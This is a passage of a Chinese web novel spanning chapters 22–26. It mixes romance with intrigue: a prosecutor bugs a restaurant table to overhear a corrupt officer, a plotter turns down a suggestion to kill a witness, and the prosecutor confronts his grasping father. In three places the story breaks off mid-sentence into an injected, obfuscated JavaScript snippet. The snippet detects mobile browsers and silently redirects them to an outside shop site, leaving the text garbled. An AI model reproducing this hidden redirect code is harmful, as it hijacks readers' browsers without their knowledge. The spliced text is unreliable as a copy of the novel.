“原来是这样啊,”他点点头,语气和善,脸上却闪过冰凉的笑意,“伯父伯母不用着急,我帮您二老向银行那边打个电话问问情况,实在不行,我卡里还有刚回国时爸爸给我的一点钱,先拿去救急应该够用吧?” 闻父那边立刻笑开了花:“够用够用,小云你这孩子真是有孝心,我们家闻序能和你这样懂事的孩子结婚,真是——” “那就这么办了,我这还有工作,就不和您多说了伯父,改日再聊。” 没给对面一点反应的余地,瞿清许说完,毅然挂断电话,长舒了口气,肩膀的肌肉跟着放松下来。 从自己这里做突破口吸血,门儿都没有。这对夫妇,正经能耐没有,钻研这些歪门邪道倒是比谁都精,拖累了亲儿子这么多年,也难怪那日在检察院外闻序发那么大的火。 他转身还没来得及走几步,想了想,保险起见决定把刚刚的电话号码拉黑。说时迟那时快,电话竟又突然嗡嗡震动个不停,瞿清许一个激灵,按下接听键: “伯父,我们部门有个会,有什么事待会再——” “伯父,什么伯父?” 瞿清许屏了口气,这才反应过来对面是楚江澈的声音,笑了笑,拐进偏僻的安全通道里。 “今天是什么日子,各种乱七八糟的人和事都找上来了。”他感叹道。 楚江澈那头倒是敏锐:“你刚说伯父,是闻序的父母给你来电话了?他们怎么会有你的手机号码?” 瞿清许顺手带上安全通道的门:“谁知道用了什么旁门左道。不碍事,我有办法打发他们两个。” 楚江澈:“他们能要到你的电话,证明你的身份隐患已经够大了,但凡有人想查,很快就会差出漏洞。我来电话,也是为了提醒你和这有关的事。” “什么事?”瞿清许问。 “记不记得方叔和咱们说过,他有个生意上的竞争对手,义信集团的那一把手?”楚江澈道,“这位刘总刚回国了,说不准什么时候就会到首都。” 瞿清许沉默了片刻:“这个我有印象。他和方叔是老对手了,而且他——” 楚江澈自然地接过他的话: “——他见过真正的,成年后的方鉴云。” 23. 第 23 章 安全通道里一时静极了,阳光照亮了空气中漂浮的细小颗粒,唯有瞿清许那张波澜不惊的脸上片尘不染。 青年阖眼,想了会什么,又慢慢睁开。 “这个人确实很危险,”他听上去镇定到冷酷,“你特意来电话,是想暗示我什么,杀了他?” 电话那头也沉默了一会儿,瞿清许于是知道,自己猜对了。 “死人不会泄密。当然,我不会强行要求你的手上沾血,你自己决定。”楚江澈终于回答。 天窗的光打在瞿清许脚边,落下一面四四方方的光斑。青年站在暗处,眼底流转过一瞬波光。 “我们不能这么做,江澈。”瞿清许低眉,放轻了声线道,“那人根本不该去死。我明白你想求万无一失,可……可这样真的不行。” 楚江澈的声音并没有被拒绝了的不满:“你觉得这么做太自私,太没有底线?” 瞿清许嘴角噙起一丝隐隐的苦笑。 “这样我们就和那个魔鬼无异了。”他喉结一滚,“当初为了隐藏真相,那个人才对我做了那么多禽兽不如的事,仅仅因为在他看来我是他的‘隐患’……江澈,即便到那时报了仇,我们还是我们吗?” 电流滋啦作响,几秒的静谧。 “你说得对,是我偏激了。” 楚江澈罕见地叹了口气,语气有所松动,“回国之后我精神太紧绷,一时间想到用这种极端的方法,再加上有点着急就……” “看出你着急了,不然也不会忘了之前咱们约好的,我在检察院时轻易不来电话。”瞿清许笑笑,转身靠在墙边,“说起来,你再早点来电话,可就被闻序抓个正着了,他正怀疑你我有什么不正当关系呢。” 没等楚江澈那边说话,电话里忽的当啷一声,什么东西掉在地上似的,接着有个熟悉的、轻微慌张的男声传来: “抱歉,一时手滑,我这就……” 匆匆的脚步声过后,背景音里传来门扉合上的轻响。瞿清许嘶了一声: “萧尧刚在你身边?” 楚江澈:“对,他来送公司的文件,有点急,我就让他用书房的电脑处理一下。” 瞿清许皱眉:“下次他在身边你能不能先说一声?万一刚刚人家误会了,把我这玩笑话听进去了怎么办?” “——什么听进去,怎么了?” 瞿清许抽了一口凉气,他几乎能想象到楚江澈问出这话时一本正经中又带着几分疑惑的模样。 “……这事儿我也不便多说,”他无奈扶额,“楚江澈,你这人是真不开窍还是——我问你,这些年你母亲留下来的公司,楚家的家业,是不是都靠萧尧在替你操持?” “是。” “这是萧尧分内的事吗?”瞿清许感觉自己像在教小孩。 “不是。” “所以,对此,你有什么感想没有?” “我欠萧尧很大一个人情,”楚江澈那边想了想认真道,“等我们的计划成功之后,我一定好好答谢他对我的帮助。有什么不对?” 瞿清许:“……” 看来家家都有本难念的经,瞿清许内心同情了碰上这么个榆木脑袋的萧尧几秒:“当我什么也没问吧。我还有事,不多说了。” 话音刚落,电话便挂断了。楚江澈放下手机,看了眼再次推门而入的青年,脸上浮现出有些困惑的神情。 半晌,他出声唤道:“萧尧,你……是不是不太喜欢瞿清许?” 萧尧抬起头,有些惊讶:“瞿清许?” “就是方鉴云。”楚江澈补充。 “当然不会,方——瞿先生人很好,还是少爷的战友,我哪有讨厌瞿先生的道理。”萧尧忽然推了下眼镜,反光的镜片让青年脸上的表情都模糊了几分。 “倒是少爷您觉得瞿先生怎么样?”萧尧笑了一下,“瞿先生他……我没记错的话,是个omega。” 楚江澈蹙眉。他不明白今天身边人说的话都云山雾罩的,叫人听不懂。 于是他努力思考了一下:“他是omega没错。不过这和我有什么关系?” 萧尧短暂地愣了一下,很快恢复了一贯温润如玉的得体笑容。 “没什么,少爷,我就是随口一问。”萧尧笑着,“想来也是,瞿先生他满心都在闻检察身上,应该不会……” 楚江澈摇了摇头,看向窗外。 “或许有,可他早就不许自己心里装着太多杂念。”楚江澈缓缓说道,“他背负的东西太多,对闻序的感情于他早就成了一种奢侈了。” * 谭峥取保候审后,闻序花了整整三日,才获得了他与武装部陈泳私下联络的具体地址。那天对方鉴云说的话其实真假掺半,闻序确实防着他,也确实真的怕这次行动出了差错,进而连累到对方。 “您好,给我来一份例汤,谢谢。” 市中心的高档餐厅内,服务员刚想开口说“抱歉,我们这里最低消费688元”,却在低头看见闻序拉下口罩时那张英气逼人的脸时愣了一下,嘴上一秃噜: “这……好吧先生,您稍等。” 服务员扭捏了一会儿,拿着菜单恋恋不舍地走了。闻序待人走远,这才站起身,走到一个摆着预订牌子的卡座旁边,身子挡住桌角的同时,飞快地将一个□□贴在桌下,最后无声发生地走回原位坐好。 为了谭峥的案子,闻序这次可算是豁出去了,冒着违法的风险窃听, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658599|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一不留神自己就有可能成为下一个指控对象不说,一天的工资就这么轻飘飘地花出去了,还没地儿报销…… 青年有点惆怅地叹了口气,侧过头去,从落地窗玻璃上看到一张倒映出的、同样有点儿疲惫的面容。 想来想去,都是那个方鉴云害的。 当着处长的面拍胸脯保证拿下谭峥也就罢了,看守所问询之后,闻序研究了好多遍笔录,发现谭峥和方鉴云二人的谈话简直可以用刀光剑影来形容,只是当时他们关系太僵,自己没立刻注意到。 那时的谭峥,话里话外都在暗示检察院里有人——现在看来指的或许就是方鉴云——挖他的黑料,意图打击报复他;而方鉴云则针锋相对地把谭峥与武装部的陈泳之间不寻常的关系摆到了台面,事实证明,陈泳也的确在谭峥取保候审这事儿上出了力。 他们本不需要这么挑明了针对彼此,除非当时他们的话,每一句都是为了说给在场的第三方听。 “先生,您的餐齐了,请慢用。” 闻序说了声谢谢,那服务员放下例汤,盯着青年深邃的眉眼好一会儿,这才有些回味似的走开。闻序没有理会,有一下没一下搅着炖盅里的汤,陷入深思。 从谭峥被迫承认自己和五·三一的主谋楚家有过交集开始,闻序就知道,方鉴云一定是有备而来。他似乎极力想揭开楚家和谭峥之间某些不为人知的过往,而要想做到这一切,到最后都会离不开为六年前的五·三一翻案。 为五·三一翻案,还是为楚家洗白,他目前还不得而知。 可方鉴云的初心又是什么?替楚家平反,是出于他和那个楚江澈的什么所谓的情谊,还是他真就心甘情愿为了楚江澈—— “嘶……” 几滴热汤溅到手背上,闻序恍然回神,这才发现自己乱麻般的思绪早已打成了一个名叫方鉴云的死疙瘩。他有些懊丧地搁下调羹,突然听到身后一个声音由远及近: “——主任,包间会留下预订的记录,太不安全,今天就委屈您在这儿……” 两个人影隔着半步身位,一前一后从闻序桌边路过,在他身前的卡座落座下来。其中相对面向他的那个男人摘下口罩,露出一张老气横秋的国字脸,耳边还有一道白色的、短而深的疤痕。 “我的时间很宝贵,别婆婆妈妈,说正事。”那人道。 “是,主任。服务员,让后厨上菜吧!” 卡座那边的说话声很快渐小了。闻序稍微低头将自己藏到角落里,默默戴上耳机,听见一个因电磁而失真、却绝不会被他认错的声音。 “陈主任,”耳机里传来谭峥讨好的笑,“您说那位长官年后就能把战区给我的处分撤销的事,不会有错吧?” 24. 第 24 章 闻序抿紧了唇,重新握住调羹低头假装用餐,听见耳机里陈泳说道: “这点事你翻来覆去问多少遍了!人家那么大的长官,难道会诓你不成?” 闻序的角度看不见谭峥的表情,却见男人的腰板顿时弯得更低: “主任,我没那个意思,这不是——” 陈泳那边换了个舒服的坐姿,翘着二郎腿,配合着耳机里带着电流的沙沙的声线,显得格外粗犷: “就这么跟你说吧,战区现在给你的处分其实根本不重要,无非就是这段时间受点检查,被下个通报批评两句,又不会少块肉!最关键的是,不论你还是我,都绝不能牵扯到——” “二位,您的餐。” 闻序正恨不得竖起耳朵听,服务员陌生的声音陡然插了一杠进来,许是什么东西磨蹭到了窃听器的收音孔,耳机里一阵斯斯拉拉,待服务员退下后,才听见陈泳继续道: “没有他就没有你的今天。别忘了当初有多少人和你一起竞争现在的这个位置,资质在你之上的大有人在,是谁力排众议把你调到中央战区的。” 谭峥动作顿了顿,点头笑道: “是,是。主任,您尝尝这个,他们家的特色……” 闻序隐忍地吐出一口怨气,阖了阖眼。 该死,偏偏最关键的那个人物他没有听到! 可只言片语间,他也并非全无收获。至少二人的对话中可以得知,陈谭之间的确有些不可告人的交易,大概率是陈泳利用职务之便违规提拔了谭峥,只是现在还不知道谭峥当初给予他了什么样等价的回报。 少顷,谭峥那边又问: “陈主任,说起来,还有一个消息我想有必要告诉您一声。” 刀叉在餐盘上清脆的碰撞声,接着囫囵的一声闷哼,示意谭峥继续。 “那个臭小子回国了,”谭峥犹豫了一下,压低声音,“楚家的那个在国外念军校的独生子,前些日子突然不声不响地……” 闻序眼神一凛。耳机内,叉子猛地在餐盘上划过,发出尖锐的动静。 “楚家的那小子?” 陈泳的语气有点怪,而后桌上两人都沉默了,闻序低着头,抬眼悄悄望过去,发现陈泳的脸色也变了,过了很久,他两腮才缓慢动了动,咀嚼了几下嘴里的食物,咽了下去,而后有些阴沉地笑了。 “你还怕他?”陈泳低语,“没爹没妈,又是罪人之后,有什么可怕的?” 说完陈泳瞥了对面的男人一眼,不屑地哼笑一声,继续埋头切牛排。谭峥坐在另一边,没有动,也迟迟没说话。 良久。 “您当然认为他不足为惧了。” 谭峥说。陈泳一下子抬起头,大约没想到一直低眉顺气如哈巴狗似的男人会说出这种话,第一时间竟不是生气,反而有些惊讶地打量了谭峥一番。 “别兜圈子,你到底想说什么?” 闻序扶了扶耳机,另一只手不由自主握紧了调羹。 “在楚家的视角,您的手里干干净净的,他们就是做了鬼,也不会寻到您家门去。”谭峥有些垂头丧气地往软椅上一靠,摇了摇头。 “可当初在军事法庭上作证的人是我,指认他们的还是我,那时楚家的儿子年纪已经不小了,这次他一回来,我就遇见这么多倒霉事,我怕就是他存了什么坏心思,要捣鬼……” 军事法庭,作证? 闻序猛然一惊,刚想再细听下去—— “那个,先生,打扰一下?” 一只手搭在闻序肩膀上,青年神经过于紧绷,一个激灵抬起头,却看到刚刚那个给自己点单的服务员,后者两颊微微泛红,拿出手机: “现在我们餐厅有周年活动,可以升级为尊享会员,要不咱们加个联系方式,我给您——” 他知道那服务生意欲何为,可动静显然传到了卡座那边,谭峥虽然没有回头,可瞧着大大咧咧的陈泳却一眯眼睛,警觉地偏过头来,视线眼瞅着向闻序的方向射去。 “不用了,”闻序腾地起身,把早准备好的钱放在桌上,“我有点急事,不去前台结账了,不好意思。” “哎,先生——” 服务员好不容易鼓起勇气却扫了个大兴,眼睁睁看着闻序匆匆走远了,无奈地跺了下脚,抓过桌上的纸币: “烦死了,果然帅哥都特别能装……” 直到走到餐厅外,确认没被发现后,闻序才重新戴好耳机,却发现里面只偶尔传来餐厅里断断续续的背景音,谭峥二人的说话声反而再也听不到了。 “这就超出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658600|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监听范围了吗……” 说是跟踪,其实这种事闻序也是平生头一次,对这些小偷小摸的设备操作很生疏。但此刻折返回去已不可能,他只好戴上口罩,离开餐厅。 * “服务员,对,就是你。过来一下。” 谭峥一愣,看着陈泳对着不远处的服务员摆了摆手,等后者走过来后,不紧不慢朝远处扬了扬下巴: “刚刚那桌走了的人,是一个人来的吗?” 服务生点点头:“是的,客人。有什么需要为您服务的吗?” “没什么。”陈泳顿了顿,“哦对了,你们这儿能不能查监控?” 服务生一时有点傻眼:“客人,一般监控录像是不能随便给外人看的,除非报警,配合警方……” 陈泳不再看他,转回头来。 “你去告诉你们经理,就说中央战区陆总巡的要求,需要他们配合一下。”他抬手挥了挥,“去吧,抓紧点。” 那服务生狐疑地打量了陈泳一下,视线触及男人耳后的疤,目光瑟缩了一秒,垂下头:“是,您稍等。” 服务生很快走开了。谭峥有些奇怪地看着他:“主任,好好的这是怎么了?” “好好的?”陈泳嗤笑,坐直身子,把手探到桌下面,“你个猪脑子——” 他用手一抿,接着从桌下拿出一个什么东西,放在谭峥眼前。 “睁大你的两个窟窿看看,这是什么?” 谭峥的脸瞬间白了。 “这,这是谁干的,什么时候……” “刚刚我一抬腿,感觉桌子下面有什么东西硌得慌,果然是有人提前动了手脚。”陈泳把窃听器丢到地上,抬脚碾了碾,“谭峥,其实就算不调监控,你也该猜出是谁在搞小动作吧?” 谭峥张了张嘴,面部僵硬的肌肉抽动两下,眼底后知后觉地燃起恼怒的火。 “一定是他们……”他喃喃自语,忽而抬起头寻求赞同似的望向陈泳,“不能再坐以待毙了。要不,我去给他们点教训,让他们知难而退?” 陈泳眼底划过一丝狠戾的光,阴恻恻地挑了挑眉。 “刚刚我们说的话,说不定都被他听去了。”他沉声说,“给个教训还不够……这事你不用管了,我会有办法让他彻底闭嘴。” 25. 第 25 章 瞿清许还是第一次来检察院二楼的职工健身馆。下班时间已过,隔着玻璃门,整个空旷的场馆尽收眼底,一览无余。 他推开门,刚迈进去一步,一声悠长而尖利的塑胶摩擦声传来: “斯拉——” 砰砰两声闷响,瞿清许循声回头,隔着大半个场地,看到角落里一个摇晃着的圆柱沙袋,以及那后面放下戴着拳套的手的青年。 闻序直起身,与瞿清许默默对视了几秒钟,偏过头。 “这可不是你能来的地方。”他说。 瞿清许没说话,抬脚向他走来。闻序伸手扶住晃悠的沙袋,少了巨物的遮挡,视线里那个青年清瘦的身影才得以完整,慢慢在他视野中靠近,放大。 打拳暴汗,闻序只穿了短袖的运动服,却还是年轻火气大,开了边上的窗户通风。他忽然发现瞿清许穿得也很单薄,衬衫收拢进劲韧的窄腰长裤里,袖子挽起来,露出omega洁白的腕子和线条清减的小臂。 瞿清许在他面前站定。 “我是来找你的。”瞿清许说着,看了那沙袋一眼,“不过不耽误你练拳,你继续。” 闻序已经对他奇怪的作风见怪不怪,也不推辞,当真转过身,沉下身子,曲起双肘。 砰! 一拳带着刚劲的风,敦实的沙袋顿时荡出老远。闻序吐出口气,没等收拳,听到身侧瞿清许走了几步,意味不明地笑了声: “好身手。” 傻子都听得出他在敷衍。闻序克制住看他的冲动,活动了一下肩膀:“找我什么事。” 瞿清许的脚步声越来越远,声音也随着距离的扩大而在场地内带出悠悠的回音: “几天前,你去跟踪谭峥和那个武装部的陈泳,有没有什么收获?” 闻序又打几下快拳,喘了口气:“你当时调查的方向是对的,陈泳和谭峥之间的确有违规交易,似乎和六年前五·三一的结案有关,自然了,也和……” 他盯着沙袋,语气忽然一沉。 “也和你的好朋友,楚家少爷有关。” 闻序道。 健身馆内一时陷入寂静。闻序收了屈膝预备的姿势,好整以暇地站稳,褪下一只拳套,又低头去扯下另外一只。不知道为什么,他心里突然酸酸的不是滋味儿,有种说不清的窝囊感。 方鉴云为什么不解释?这个时候,换做常人都该解释的,他是出于高高在上的态度、认为对他这有名无实的联姻对象根本无需多言,还是压根就没想要私藏祸心,点明了就要给楚家翻供? 沉默越久,他的心反而越喧嚣。终于,青年忍不住转身: “没听清吗?我说,谭峥他们提到你那位姓楚的朋友的大名了!” 话音还没落地,青年铅灰色的瞳孔蓦然睁大。 敞开的窗台边,那人随手捞过折叠椅上搭着的,属于闻序的那件制服外套,披在肩上,接着身子一靠,慵懒地倚在床边。青年的身影背着光,衬得蓬软的头发丝愈发浓墨重彩的黑,连那根朴素的发簪也在光下沉淀出一道纤细的影。 闻序看着青年包裹在宽大到不合身的硬挺制服下,一瞬间愣了,不自觉地咽了下口水。 “你笑什么?” 他问。瞿清许尾音上挑地嗯了一声: “我没笑啊。” 闻序眨了眨眼睛。待视线聚焦,他这才看清那张隐没在阴影下的脸。 恬淡,俊秀,端正,唯独没有笑容,平静如水。 “……我看错了。”他迅速正色,清清嗓子,“干什么,这不是你的衣服。” 瞿清许一脸“我知道啊”的表情:“外面风大,天冷。” 闻序迟钝地意识到,两个人的话题又开始向着没营养的方向脱缰狂奔。他走上前: “这是我的衣服。” 瞿清许正要拢一拢衣服,闻言动作顿住,慢慢放下手,卷翘的睫毛微垂。 “我不知道。”他说,“抱歉,顺手就披上了。” 见对方自然地让了一步,闻序忽然也跟着一怔。心上像是拉紧了一根弦,青年蝶翼般的睫羽稍有失落地忽闪,他心里便一阵猝不及防的震颤。 他抿了抿唇,继续走过来。瞿清许以为闻序要拿衣服,下意识要直起身:“给……” 下一秒,闻序抬起的胳膊与青年瘦削的肩头擦过,瞿清许的声音一下子截断在了喉咙。 闻序没有拿走外套,反而一手撑着窗台,探身向前,另一只手抓住把手,将打开的窗关上。青年高大的身躯倾覆地靠拢过来,几乎以一个环抱的姿势将他禁锢在他怀里。 瞿清许的身子登时从头僵到脚。他怔怔抬起头,鼻尖刚到青年的下颌,连闻序颈侧青色的血管、皮肤上细小的汗毛都清晰可见,近在咫尺的手臂肌肉贲张而流畅,对方身上还带着运动过后蓬勃的、温热的气息。 以及一种淡淡的、凑近了才能嗅到的alpha信息素的味道。 瞿清许呼吸一滞,抓着衣襟的手立时缩紧,纤细的手指微微打颤。闻序关了窗户方才撤身,却没急着后退,仍在原地站着,二人的距离还保持在一个有些暧昧的、快要交换呼吸的距离。 心里怦然跳得越来越快,瞿清许下意识咬了下唇瓣,强装镇定地抬眼。 “披着吧。” 闻序垂眼,目光在瞿清许那上下滚动的喉结上停留片刻,嘴唇小幅度动了动,“场馆太大,关了窗也很冷。给你冻出什么病来,我可赔罪不起。” 瞿清许张了张唇,却依旧失语。闻序终于倒退了两步,在旁边的椅子上坐下,没有看见瞿清许的身体陡然垮了一般松懈下来。 “现在的麻烦不在于谭峥,”闻序总算恩赐一般率先开口,把话题拉回正轨,“他和陈泳的交易是双向的,这也就意味着检察院需要让警方配合,至少要让他们出具调查令——” “闻序。” 青年停下话头,转过脸来,对上瞿清许漆黑的眼睛。从侧面看上去,瞿清许双腿细长而直,身体线条更加凌厉、素简,唯有裹在闻序外套里的上半身更显消瘦,有种惹人怜爱的脆弱感。 瞿清许并没有插科打诨的神情,不加掩饰地盯着他。 “你练拳击看起来很久了。”他问,“这是你的爱好吗,还是习惯?” 理智告诉闻序应该忽略这个问题,可或许眼前人的磁场太奇怪,竟就这样推动着他脱口而出: “是遗憾。” 瞿清许眼底闪过一丝深沉的光。 “也是因为……他?” 闻序阖了阖眼。 “小的时候,我只会和同龄孩子在街头打野架。”闻序靠在椅背上,“我忘了自己遇到他的契机,也忘了六年前,五·三一的那一天究竟发生了什么,但我总是感觉,假如当时我能更强大一点,或许就能保护他,也不至于和他走散。” 他微不可闻地叹了口气。 “有段时间,我想起来自己曾经在一家律所实习打工,可为什么会来,又为什么想要成为一名检察官,这些过往我统统想不起来。后来我才明白,但凡是我缺失的记忆,都和他有关——我猜说不定就是因为他,我才想要做检察官的。” 闻序说着耸耸肩膀,笑了一声:“那段时间我身 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好久没有过异动的太阳穴忽然传来撕扯般的疼,闻序猛地闭上眼,脑海深处某种桎梏的回忆仿佛要冲破牢笼、尖叫着逃出。 他好像见过——他一定在哪里见过这种眼神。 怜恤的、悲悯的、温柔的、垂爱的,却不高高在上,仿佛神祇走下圣坛,拥抱受难的信众。 闻序嘴唇颤抖了一下,睁开眼: “怎么,以为我在和你卖惨?” 瞿清许慢慢摇了摇头,肩头披着的柔软的发丝扫过闻序制服外套立起的领口。 “我是真心的。”瞿清许说,“你为他做了这么多,如果他知道,一定会很感动。” 闻序看了他一眼,面儿上还板着脸,语气却柔和下来。 “他不会知道的。这么多年没有联络,或许他以为是我不要他了。”他说。 瞿清许始终目不转睛地深望着他,忽然舔了下唇,眸光一动。 “我来帮你怎么样?” 闻序刷地抬头,身子也坐直了。 “你说什么?”他格外难以置信,“你怎么愿意——你有什么方法找一个连我都不记得的人?这可比大海捞针还要难!” 瞿清许倒是平静得不得了: “你在首都无权无势,没有人脉,想打听一个人自然难如登天。我父亲在首都认识不少朋友,说不定谁就能知道你说的这个姓瞿的人的下落。至于我这么做的目的——” 他一借力起身,披着闻序的外套,款款上前,居高临下地看着坐在椅子上发愣的青年,嘴角勾了勾。 “我自然也有我交换的条件。”他道,“从今天开始,你的任何行动必须和我一起,不许对我有所隐瞒,你我情报共享。答应,还是不答应?” 明明含笑似轻佻,可看着那认真的双眼,闻序的呼吸莫名停了一拍。 良久,他站起身,看着瞿清许,一字一顿。 “好,那我们一言为定。” * 窗外。 隔着一条马路的检察院对面楼下,一辆轿车慢慢摇上车窗。车内的男子最后看了眼二楼窗边影影绰绰的两个人影,恶劣地轻声低笑,低头在数码照相机上按动几下。 电子屏幕上赫然出现了一扇放大的窗,拉大的画面模糊了像素点,可依然能清楚地看见画面中央闻序那张英俊、棱角分明的脸,以及一个披着不合身的制服外套,留着半扎长发的纤长背影。 “这下能交差了……” 男人哼了哼,放下照相机。 车子很快启动,随着逐渐跌落的残阳,消失在道路远方。 26. 第 26 章 走到一楼大厅时,瞿清许想起自己还不伦不类地披着别人的外衣,想要脱下来还给闻序,却被对方再次挡下: “衣服你先拿着。既然情报共享,我这有些资料,等我取了拿来给你,回家你慢慢看。” 闻序的配合倒是令他意外。瞿清许点头:“知道了,我就在门口等你。” 待青年转身离开,瞿清许也转身,走到门口。还没等站定,忽然外面闪过一个鬼鬼祟祟的黑影,未等他看清,一把抓住他的衣角: “小云!” 瞿清许身子一震,赶忙回过头,看清来人的面孔时,心下一沉。 “您怎么来了?” 他看着显然早已蹲守在这儿的闻序父亲,压下心头的不安,强作镇定地微笑。 闻父面含愠色,语气也冲得很: “你和闻序怎么都在闹失踪?上次说给银行打电话,问的怎么样了?我和你妈——你伯母的钱可是眼瞅着就要周转不过来了!” 瞿清许面不改色心不跳: “伯父,容我多问一句,您和伯母做的是什么生意,现在资金方面具体是出了什么问题,为什么会还不上?” 闻父显然没有准备,憋得脸红脖子粗: “这,这说来话长……总之,你是闻家未来的儿婿,难道不该有难同当吗?更何况你父亲家底那么厚,就当借给亲家点资金周转一下,大家过去都是兄弟,不会不懂的我的难处!” 瞿清许被他这理直气壮的态度弄得哭笑不得。 他其实也没有钱,更不打算让楚江澈或者方叔替他摆平闻父——九年前他就已经认识到,闻序的父母是怎样一个填不平的窟窿。向他们投诚,就等于背叛了过去那个用稚嫩的肩膀生抗下一切苦难的少年。 这个口子闻序没开过,就更不能从他这里开。 “伯父,我查到您欠了一百五十万,其中大部分根本不是做生意的钱,是赌资。” 瞿清许俯视着他,淡然道,“和您说实话,这钱我拿不出来。父亲是给了我生活费,可我回国后已经经济独立,现在和闻序一样,吃穿用度全倚仗最高检的工资。” “什——你说现在你没有钱,你父亲也不给你钱?” 闻父一下如遭晴天霹雳,身子一晃,目光在青年干干净净的手腕上逡巡,面露崩溃。 “我说怎么别人都穿金戴银,名牌加身,唯独你……” 他摇了摇头,再度抬眼时,浑浊的双眸中却射出愤怒而阴狠的光。 他骤然上前一大步: “果然有钱人都奸猾,你们方家也不例外!说,你爹他是不是嫌弃我这个穷兄弟,根本就没诚心要和我们结亲?!” 瞿清许淡然地扬了扬唇角。 “伯父此话怎讲?结婚是珠联璧合,不是做慈善。照您这意思,您当初看上的到底是我们两家之间的缘分,还是方家的财产?” “你这孩子!”闻父又心虚又气恼,登时嘴唇直哆嗦,咬牙切齿地上前,“方家怎么这样没有家教,一个晚辈竟然可以随意对长辈评头论足?!今天我就要替亲家好好管教管教——” 眼瞅着男人气势汹汹走来,瞿清许反应过来对方这是当真要动手,不得不后退两步,不想这么做反而激起对方的气焰: “我们闻家,绝不能有你这种目无尊长的儿婿!” 说着,闻父伸手抓住瞿清许下意识抬起来格挡的手腕,用力一拽! “唔……!” 他怎么也想不到,光天化日的,闻父真就敢动手教训人。男人虽然上了年纪,力气却大得惊人,瞿清许躲闪不及,一个踉跄向前扑去,腰后某个隐秘的部位撕心裂肺的痛顿时顺着脊椎,传达到了四肢百骸! 瞿清许脸色顿时惨白如纸,痛得眼前阵阵发黑,短促地叫了一声,双膝一软,脚步虚浮着就要跪倒在地上—— “方鉴云!” 想象中狠狠跌倒在石砖地面上的剧痛并没有到来。瞿清许感觉身子一轻,一股强有力的力道箍住他的侧腰,他整个人向后一倒,跌进一个宽厚而温热的胸膛。 他喘息着,勉强睁开眼睛。 “儿子?你,你怎么也——” 须臾功夫,冷汗已经顺着额角淌下,瞿清许下半身麻木得站不住,几次想要瘫倒,握紧他腰侧的那只手却愈发用力,一次次把人搂紧在怀中,紧贴着那具健硕高大的身体。 他下意识瑟缩着靠紧了热源,紧接着那结实的胸腔一阵低频震动,连带着扶住他腰的那只手都发力收紧: “你来找我要钱还不够,居然背着我找方鉴云要钱?!他身体不好,你这么拉扯会伤着他的!” 腰部的神经突突跳着疼,瞿清许闷哼一声,那只青筋暴起的大手仿佛意识到什么,骤然松懈了力度,另一只手臂也环抱过来,搂着他单薄的蝴蝶骨,把人霸道地护在怀中。 “你是小云的未婚夫,我向他借点钱怎么了?” 瞿清许闭着眼睛,看不见闻父此刻的嘴脸,却仍然听到对方急急狡辩着,“闻序,你还没成家,这就胳膊肘往外拐,向着方家了吗!” “我不是他的未婚夫!” 闻序忍无可忍吼了一句,顿了顿,“就算是,这也不是你动手打人的理由。我被赶出家门时再苦再累也没有求你们给我想办法,如今你们也是一样,咱们互不相欠。” 闻父一下子哑口无言,好半天才不死心地嘀咕着骂道: “生养之恩大过天!你这个没良心的白眼狼,小畜生……!” 刚刚动作幅度太剧烈,瞿清许已经感到痛感越来越难以忍受,几乎呼吸都不敢用力,可比起生理上的疼,闻父那些不堪入耳的话反令他更受不了。他小口倒着气,抬手想去抓住闻序的肩: “大不了,我想办法给伯父凑钱……啊!” 身体骤然腾空,瞿清许抬起头,修长的颈瞬间绷起一个优美却紧绷的弧度。闻序把人打横抱起,一手小心握紧瞿清许的肩胛骨,另一手穿过青年的膝弯,然后侧过头,冷冷地紧盯着自己的亲生父亲。 ——如果这个人,还可以称为他的父亲的话。 “今后我们不要再见面了。”他字字咬重,“还有,不要再骚扰方鉴云。他不了解你有多贪婪无耻,可我了解。” “闻序你——” “当年我敢和你们鱼死网破,如今我也敢。”闻序扬声打断他,抱着人转身,留给闻父一个冷漠的背影。 “再让我知道你们做这种事,就算你们是我名义上的父母,我也会让你们吃不了兜着走。” 说完,闻序不再理会身后跳脚的男人,抱着怀中的瞿清许,大步流星离去。 轻微的颠簸随着青年的步伐传导至脆弱不堪的尾椎骨,瞿清许身子僵硬得动不了,想要蜷缩却只能瑟瑟发抖。他挣扎着,不小心泄出一丝痛苦的呻丨丨吟: “啊……” 抱着他的手臂顿时一僵。闻序放轻了脚步,低头看去,只见臂弯里的青年发丝凌乱,被汗水打湿的几缕长发黏在苍白的脸颊,连那双一向冷静自持的墨色瞳孔都泛着淡淡的红。 青年喉结禁不住上下一滚。 “再坚持一下,很快就到家了。”他沉声说。 瞿清许在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658602|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 